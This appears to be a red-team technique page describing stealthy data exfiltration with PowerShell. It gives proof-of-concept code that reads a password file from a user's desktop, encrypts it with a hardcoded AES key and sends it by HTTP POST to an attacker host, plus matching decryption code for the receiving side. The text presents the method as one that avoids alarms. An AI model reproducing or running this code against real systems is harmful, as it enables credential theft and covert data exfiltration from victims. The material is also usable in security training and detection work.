PowerShell Data Exfiltration

Advanced Encryption Standard (AES) HTTP 80

Description

The following basic example of data exfiltration relies on PowerShell. The provided proof of concept code reads contents of a file from the local system, encrypts it with a variation of Advanced Encryption Standard (AES) and sends it to the attacker's server via HTTP over the port 80. In most cases this approach raises no alarms and therefore can be used to perform stealth exfiltration.

Code

Encrypt(sender/victim/client)

```
$file = Get-Content C:\Users\RayC\Desktop\facebook_password.txt
$key = (New-Object
System.Text.ASCIIEncoding).GetBytes("54b8617eca0e54c7d3c8e6732c6b687a")
$securestring = new-object System.Security.SecureString
foreach ($char in $file.toCharArray()) {
      $secureString.AppendChar($char)
}
$encryptedData = ConvertFrom-SecureString -SecureString $secureString -Key $key

Invoke-WebRequest -Uri http://www.attacker.host/exfil -Method POST -Body $encryptedData
```

Decrypt(receiver/hacker/host):

```
$key = (New-Object
System.Text.ASCIIEncoding).GetBytes("54b8617eca0e54c7d3c8e6732c6b687a")
$encrypted =
"76492d1116743f0423413b16050a5345MgB8AEIANQBHADAAUgA0AEgAbABOAE8AcwA4AFMAWAB5AG4AKwBEAHQAd
gBrAGcAPQA9AHwAMgBiAGIANQBhADgANgA0AGEAZgBhAGEANwA2ADMAMwA4ADAANABjADUAYQA5ADAAMAA1AGIAMAA
4ADgANwAyADkAYgA0ADEAMgBjADcAYQA3ADcAYQAyADcANQAyADUANQA4ADgANAA4AGEAOQA4AGUAMwA1ADkANwA5A
GQAYQA4ADcAMABjADIAOAA3ADIANQA5ADMAZQBhAGEAOQBiADgAYQA0ADMAOAA3ADYAZQAwADYAZQBlADcAMQBlADQ
AZQA0ADkAMgBmADgAYQA5ADQANgA2ADcAMwBhADQANAA3AGYANABiAGQAYgAwADUAOABhADAANABjADkAYQBjAGQAZ
QBkAGMANQA2ADgAZAA5ADYAMAA4ADgANABhADUANwBiAGIAMABhAGUANAAyADcAYQAzADEANABkADMAYgA1AGUAYgA
yADkAOQBiADcAYgA3ADIAMwBkADcANQA2AGMANABlADMAZQA5AGMANwA5ADMAMwA1ADEAMABmAGEAMQA0ADIAMgAxA
DcAZQA0AGUAZgA2AGQANgBlADkAMgBmADkAZgBiADkAOQBjADIAYQAxAGIAOAAyADkAOABmAA=="
echo $encrypted | ConvertTo-SecureString -key $key | ForEach-Object
{[Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::Se
cureStringToBSTR($_))}
```